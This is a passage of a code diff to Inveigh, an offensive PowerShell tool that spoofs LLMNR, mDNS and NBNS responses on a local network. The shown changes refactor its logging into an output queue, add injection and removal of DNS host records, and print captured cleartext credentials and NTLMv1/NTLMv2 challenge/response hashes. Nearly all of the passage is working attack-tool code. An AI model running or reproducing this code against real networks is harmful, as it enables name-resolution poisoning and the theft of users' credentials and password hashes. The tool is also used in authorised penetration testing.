is not on reply list" + $inveigh.requested_host_IP_list.Add("$source_IP $LLMNR_query_string") > $null + $inveigh.requested_host_list.Add($LLMNR_query_string.ToLower()) > $null } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $LLMNR_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $LLMNR_response_message = "- previous capture from $source_IP" - } - else + + if($inveigh.DNS) { - $LLMNR_response_message = "- something went wrong" + DNSCheck $SpooferIP $DNSHostsIgnore $DNSThreshold $DNSTTL } - + + } + else + { + $LLMNR_response_message = SpooferResponseMessage -query_string $LLMNR_query_string -mDNS_type "" } if($LLMNR_request_data) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - + $inveigh.output_queue.Add("$LLMNR_response_type [$(Get-Date -format s)] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") > $null } $LLMNR_request_data = "" @@ -3199,19 +3033,8 @@ $mDNS_spoofer_scriptblock = } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting mDNS spoofer") > $null $mDNS_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") - } - } $mDNS_multicast_group = [IPAddress]"224.0.0.251" @@ -3249,6 +3072,7 @@ $mDNS_spoofer_scriptblock = $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data $mDNS_query_string_full = $mDNS_query_string + ".local" $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + $mDNS_response_type = "[+]" if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( @@ -3262,60 +3086,18 @@ $mDNS_spoofer_scriptblock = $mDNS_multicast_group = [IPAddress]"224.0.0.251" $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) $mDNS_UDP_client.Client.ReceiveTimeout = 5000 - $mDNS_response_message = "- response sent" + $mDNS_response_message = "[spoofed response sent]" } else { - - if($Inspect) - { - $mDNS_response_message = "- inspect only" - } - elseif($mDNSTypes -notcontains 'QU') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $mDNS_response_message = "- previous capture from $source_IP" - } - else - { - $mDNS_response_message = "- something went wrong" - } - + $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QU" + $mDNS_response_type = $mDNS_response_message[0] + $mDNS_response_message = $mDNS_response_message[1] } if($mDNS_request_data) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - + $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QU) request $mDNS_query_string_full received from $source_IP $LLMNR_response_message") > $null } $mDNS_request_data = "" @@ -3334,6 +3116,7 @@ $mDNS_spoofer_scriptblock = $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data $mDNS_query_string_full = $mDNS_query_string + ".local" $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + $mDNS_response_type = "[+]" if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( @@ -3347,60 +3130,18 @@ $mDNS_spoofer_scriptblock = $mDNS_multicast_group = [IPAddress]"224.0.0.251" $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) $mDNS_UDP_client.Client.ReceiveTimeout = 5000 - $mDNS_response_message = "- response sent" + $mDNS_response_message = "[spoofed response sent]" } else { - - if($Inspect) - { - $mDNS_response_message = "- inspect only" - } - elseif($mDNSTypes -notcontains 'QM') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $mDNS_response_message = "- previous capture from $source_IP" - } - else - { - $mDNS_response_message = "- something went wrong" - } - + $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QM" + $mDNS_response_type = $mDNS_response_message[0] + $mDNS_response_message = $mDNS_response_message[1] } if($mDNS_request_data) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - + $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null } $mDNS_request_data = "" @@ -3425,19 +3166,8 @@ $NBNS_spoofer_scriptblock = } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting NBNS spoofer") > $null $NBNS_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") - } - } $NBNS_UDP_client.Client.ReceiveTimeout = 5000 @@ -3475,6 +3205,7 @@ $NBNS_spoofer_scriptblock = $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) + $NBNS_response_type = "[+]" switch ($NBNS_query_type) { @@ -3552,64 +3283,30 @@ $NBNS_spoofer_scriptblock = $NBNS_UDP_client.Close() $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 $NBNS_UDP_client.Client.ReceiveTimeout = 5000 - $NBNS_response_message = "- response sent" - } - else - { + $NBNS_response_message = "[spoofed response sent]" - if($Inspect) - { - $NBNS_response_message = "- inspect only" - } - elseif($NBNSTypes -notcontains $NBNS_query_type) - { - $NBNS_response_message = "- disabled NBNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) + if($inveigh.requested_host_IP_list -NotContains "$source_IP $NBNS_query_string") { - $NBNS_response_message = "- previous capture from $source_IP" + $inveigh.requested_host_IP_list.Add("$source_IP $NBNS_query_string") > $null + $inveigh.requested_host_list.Add($NBNS_query_string.ToLower()) > $null } - elseif($source_IP -eq $IP) - { - $NBNS_response_message = "- local request" - } - else + + if($inveigh.DNS) { - $NBNS_response_message = "- something went wrong" + DNSCheck $SpooferIP $DNSHostsIgnore $DNSThreshold $DNSTTL } - + + } + else + { + $NBNS_response_message = SpooferResponseMessage -query_string $NBNS_query_string -mDNS_type "" + $NBNS_response_type = $NBNS_response_message[0] + $NBNS_response_message = $NBNS_response_message[1] } if($NBNS_request_data) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - + $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null } $NBNS_request_data = "" @@ -3659,22 +3356,12 @@ $NBNS_bruteforce_spoofer_scriptblock = ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + 0x00,0x00,0x00,0x00 - $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") > $null $NBNS_paused = $false $NBNS_bruteforce_UDP_client = New-Object System.Net.Sockets.UdpClient(137) $destination_IP = [System.Net.IPAddress]::Parse($NBNSBruteForceTarget) $destination_point = New-Object Net.IPEndpoint($destination_IP,137) $NBNS_bruteforce_UDP_client.Connect($destination_point) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") - } while($inveigh.running) { @@ -3684,19 +3371,8 @@ $NBNS_bruteforce_spoofer_scriptblock = if($NBNS_paused) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Resuming NBNS brute force spoofer") > $null $NBNS_paused = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - } - } for ($i = 0; $i -lt 255; $i++) @@ -3710,20 +3386,9 @@ $NBNS_bruteforce_spoofer_scriptblock = if($inveigh.hostname_spoof -and $NBNSBruteForcePause) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Pausing NBNS brute force spoofer") > $null $NBNS_paused = $true break NBNS_spoofer_loop - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - } - } } @@ -3745,6 +3410,32 @@ $control_scriptblock = $inveigh.control = $true + function OutputQueueLoop + { + + while($inveigh.output_queue.Count -gt 0) + { + + if($inveigh.console_output) + { + $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + } + function StopInveigh { param ([String]$exit_message) @@ -3767,60 +3458,58 @@ $control_scriptblock = } catch { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] SSL Certificate Deletion Error [Remove Manually]") > $null + } - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - } + } - if($inveigh.log_output) + if($inveigh.DNS_list.Count -gt 0) + { + + foreach($DNS_host in $inveigh.DNS_list) + { + + if($DNS_host.StartsWith("1,")) { - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + + $DNS_update = Invoke-DNSUpdate -DNSType A -DNSName $DNS_host.SubString(2) + + if($DNS_update -eq "[+] DNS update successful") + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] DNS host (A) record for $($DNS_host.SubString(2)) removed") + } + else + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS host (A) record for $($DNS_host.SubString(2)) remove failed") + } + } } + $inveigh.DNS_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList } - if($inveigh.running) + if($inveigh.relay_running) { Start-Sleep -S 1 - $inveigh.console_queue.Add("Inveigh exited due to $exit_message at $(Get-Date -format 's')") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") - } - + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting due to $exit_message") > $null + OutputQueueLoop Start-Sleep -S 1 - $inveigh.running = $false + $inveigh.relay_running = $false + } - if($inveigh.relay_running) + if($inveigh.running) { Start-Sleep -S 1 - $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") - } - + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting due to $exit_message") > $null + OutputQueueLoop Start-Sleep -S 1 - $inveigh.relay_running = $false - - } + $inveigh.running = $false + } $inveigh.HTTPS = $false } @@ -3918,6 +3607,7 @@ $control_scriptblock = } + OutputQueueLoop Start-Sleep -m 5 } @@ -3997,14 +3687,29 @@ function ProxyListener() # Sniffer/Spoofer Startup Function function SnifferSpoofer() { - $sniffer_runspace = [RunspaceFactory]::CreateRunspace() + + if($inveigh.DNS) + { + $sniffer_initial_session_state = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $DNS_update_function_definition = Get-Content function:\Invoke-DNSUpdate + $DNS_update_function_entry = New-Object System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList "Invoke-DNSUpdate", $DNS_update_function_definition + $sniffer_initial_session_state.Commands.Add($DNS_update_function_entry) + $sniffer_runspace = [RunspaceFactory]::CreateRunspace($sniffer_initial_session_state) + } + else + { + $sniffer_runspace = [RunspaceFactory]::CreateRunspace() + } + $sniffer_runspace.Open() $sniffer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) $sniffer_powershell = [PowerShell]::Create() $sniffer_powershell.Runspace = $sniffer_runspace $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $sniffer_powershell.AddScript($DNS_functions_scriptblock) > $null $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($IP).AddArgument($LLMNR).AddArgument( + $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($DNSHostsIgnore).AddArgument( + $DNSThreshold).AddArgument($DNSTTL).AddArgument($Evade).AddArgument($IP).AddArgument($LLMNR).AddArgument( $LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($mDNS).AddArgument( $mDNS_response_message).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument( $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSTypes).AddArgument($NBNSTTL).AddArgument( @@ -4017,12 +3722,27 @@ function SnifferSpoofer() # Unprivileged LLMNR Spoofer Startup Function function LLMNRSpoofer() { + + if($inveigh.DNS) + { + $LLMNR_spoofer_initial_session_state = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $DNS_update_function_definition = Get-Content function:\Invoke-DNSUpdate + $DNS_update_function_entry = New-Object System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList "Invoke-DNSUpdate", $DNS_update_function_definition + $LLMNR_spoofer_initial_session_state.Commands.Add($DNS_update_function_entry) + $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace($LLMNR_spoofer_initial_session_state) + } + else + { + $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + } + $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() $LLMNR_spoofer_runspace.Open() $LLMNR_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) $LLMNR_spoofer_powershell = [PowerShell]::Create() $LLMNR_spoofer_powershell.Runspace = $LLMNR_spoofer_runspace $LLMNR_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $LLMNR_spoofer_powershell.AddScript($DNS_functions_scriptblock) > $null $LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument($Inspect).AddArgument( $LLMNR_response_message).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( @@ -4039,6 +3759,7 @@ function mDNSSpoofer() $mDNS_spoofer_powershell = [PowerShell]::Create() $mDNS_spoofer_powershell.Runspace = $mDNS_spoofer_runspace $mDNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $mDNS_spoofer_powershell.AddScript($DNS_functions_scriptblock) > $null $mDNS_spoofer_powershell.AddScript($mDNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( $mDNS_response_message).AddArgument($mDNSTTL).AddArgument($mDNSTypes).AddArgument($SpooferIP).AddArgument( $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( @@ -4049,12 +3770,27 @@ function mDNSSpoofer() # Unprivileged NBNS Spoofer Startup Function function NBNSSpoofer() { + + if($inveigh.DNS) + { + $NBNS_spoofer_initial_session_state = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $DNS_update_function_definition = Get-Content function:\Invoke-DNSUpdate + $DNS_update_function_entry = New-Object System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList "Invoke-DNSUpdate", $DNS_update_function_definition + $NBNS_spoofer_initial_session_state.Commands.Add($DNS_update_function_entry) + $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace($NBNS_spoofer_initial_session_state) + } + else + { + $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + } + $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() $NBNS_spoofer_runspace.Open() $NBNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) $NBNS_spoofer_powershell = [PowerShell]::Create() $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_spoofer_powershell.AddScript($DNS_functions_scriptblock) > $null $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( $NBNS_response_message).AddArgument($SpooferIP).AddArgument($NBNSTypes).AddArgument( $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( @@ -4080,7 +3816,19 @@ function NBNSBruteForceSpoofer() # Control Loop Startup Function function ControlLoop() { - $control_runspace = [RunspaceFactory]::CreateRunspace() + if($inveigh.DNS) + { + $control_initial_session_state = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $DNS_update_function_definition = Get-Content function:\Invoke-DNSUpdate + $DNS_update_function_entry = New-Object System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList "Invoke-DNSUpdate", $DNS_update_function_definition + $control_initial_session_state.Commands.Add($DNS_update_function_entry) + $control_runspace = [RunspaceFactory]::CreateRunspace($control_initial_session_state) + } + else + { + $control_runspace = [RunspaceFactory]::CreateRunspace() + } + $control_runspace.Open() $control_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) $control_powershell = [PowerShell]::Create() @@ -4150,10 +3898,7 @@ if($NBNSBruteForce -eq 'Y') } # Control Loop Start -if($ConsoleQueueLimit -ge 0 -or $inveigh.file_output -or $NBNSBruteForcePause -or $RunCount -or $RunTime) -{ - ControlLoop -} +ControlLoop # Console Output Loop try @@ -4177,7 +3922,7 @@ try switch -wildcard ($inveigh.console_queue[0]) { - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} { if($inveigh.output_stream_only) @@ -4258,7 +4003,7 @@ try if($inveigh.cleartext_list.Count -gt 0) { - Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current unique cleartext captures:" + $inveigh.newline) $inveigh.cleartext_list.Sort() foreach($unique_cleartext in $inveigh.cleartext_list) @@ -4275,12 +4020,12 @@ try } else { - Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) + Write-Output("[+] [$(Get-Date -format s)] No cleartext credentials have been captured" + $inveigh.newline) } if($inveigh.POST_request_list.Count -gt 0) { - Write-Output("$(Get-Date -format 's') - Current unique POST request captures:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current unique POST request captures:" + $inveigh.newline) $inveigh.POST_request_list.Sort() foreach($unique_POST_request in $inveigh.POST_request_list) @@ -4298,7 +4043,7 @@ try if($inveigh.NTLMv1_list.Count -gt 0) { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) $inveigh.NTLMv1_list.Sort() foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) @@ -4315,7 +4060,7 @@ try $unique_NTLMv1_account_last = '' Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) { @@ -4326,12 +4071,12 @@ try } else { - Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) + Write-Output("[+] [$(Get-Date -format s)] No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) } if($inveigh.NTLMv2_list.Count -gt 0) { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) $inveigh.NTLMv2_list.Sort() foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) @@ -4348,7 +4093,7 @@ try $unique_NTLMv2_account_last = '' Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) { @@ -4358,7 +4103,7 @@ try } else { - Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + Write-Output("[+] [$(Get-Date -format s)] No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) } $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() @@ -4408,6 +4153,47 @@ if($inveigh) if($inveigh.running -or $inveigh.relay_running) { + if($inveigh.DNS_list.Count -gt 0) + { + + foreach($DNS_host in $inveigh.DNS_list) + { + + if($DNS_host.StartsWith("1,")) + { + + $DNS_update = Invoke-DNSUpdate -DNSType A -DNSName $DNS_host.SubString(2) + + if($DNS_update -eq "[+] DNS update successful") + { + $output = "[+] [$(Get-Date -format s)] DNS host (A) record for " + $DNS_host.SubString(2) + " removed" + Write-Output $output + } + else + { + $output = "[-] [$(Get-Date -format s)] DNS host (A) record for " + $DNS_host.SubString(2) + " remove failed" + Write-Warning $output + } + + if($inveigh.file_output) + { + $output | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add($output) > $null + } + + } + + } + + $inveigh.DNS_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList + } + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) { @@ -4426,56 +4212,57 @@ if($inveigh) } catch { - Write-Output("SSL Certificate Deletion Error - Remove Manually") + $output = "[-] [$(Get-Date -format s)] SSL Certificate Deletion Error [Remove Manually]" if($inveigh.file_output) { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append + $output | Out-File $Inveigh.log_out_file -Append } if($inveigh.log_output) { - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null + $inveigh.log.Add($output) > $null } + Write-Warning $output } } if($inveigh.relay_running) { + $output = "[*] [$(Get-Date -format s)] Inveigh Relay is exiting" if($inveigh.file_output) { - "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append + $output | Out-File $Inveigh.log_out_file -Append } if($inveigh.log_output) { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null + $inveigh.log.Add($output) > $null } - Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") + Write-Output $output $inveigh.relay_running = $false - } if($inveigh.running) { + $output = "[*] [$(Get-Date -format s)] Inveigh is exiting" if($inveigh.file_output) { - "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append + $output | Out-File $Inveigh.log_out_file -Append } if($inveigh.log_output) { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null + $inveigh.log.Add($output) > $null } - Write-Output("Inveigh exited at $(Get-Date -format 's')") + Write-Output $output $inveigh.running = $false - } $inveigh.HTTPS = $false @@ -4483,7 +4270,7 @@ if($inveigh) } else { - Write-Output("There are no running Inveigh functions") + Write-Output "[-] There are no running Inveigh functions" } } @@ -4499,6 +4286,12 @@ Get-Inveigh will get stored Inveigh data from memory. .PARAMETER Console Get queued console output. This is also the default if no parameters are set. +.PARAMETER DNS +Get added DNS host records. + +.PARAMETER DNSFailed +Get failed DNS host record adds. + .PARAMETER Learning Get valid hosts discovered through spoofer learning. @@ -4518,7 +4311,7 @@ Get captured NTLMv1 challenge/response hashes. Get the first captured NTLMv1 challenge/response for each unique account. .PARAMETER NTLMv1Usernames -Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. +Get IP addresses and usernames for captured NTLMv1 challenge/response hashes. .PARAMETER NTLMv2 Get captured NTLMv1 challenge/response hashes. @@ -4542,6 +4335,8 @@ param [parameter(Mandatory=$false)][Switch]$Cleartext, [parameter(Mandatory=$false)][Switch]$CleartextUnique, [parameter(Mandatory=$false)][Switch]$Console, + [parameter(Mandatory=$false)][Switch]$DNS, + [parameter(Mandatory=$false)][Switch]$DNSFailed, [parameter(Mandatory=$false)][Switch]$Learning, [parameter(Mandatory=$false)][Switch]$Log, 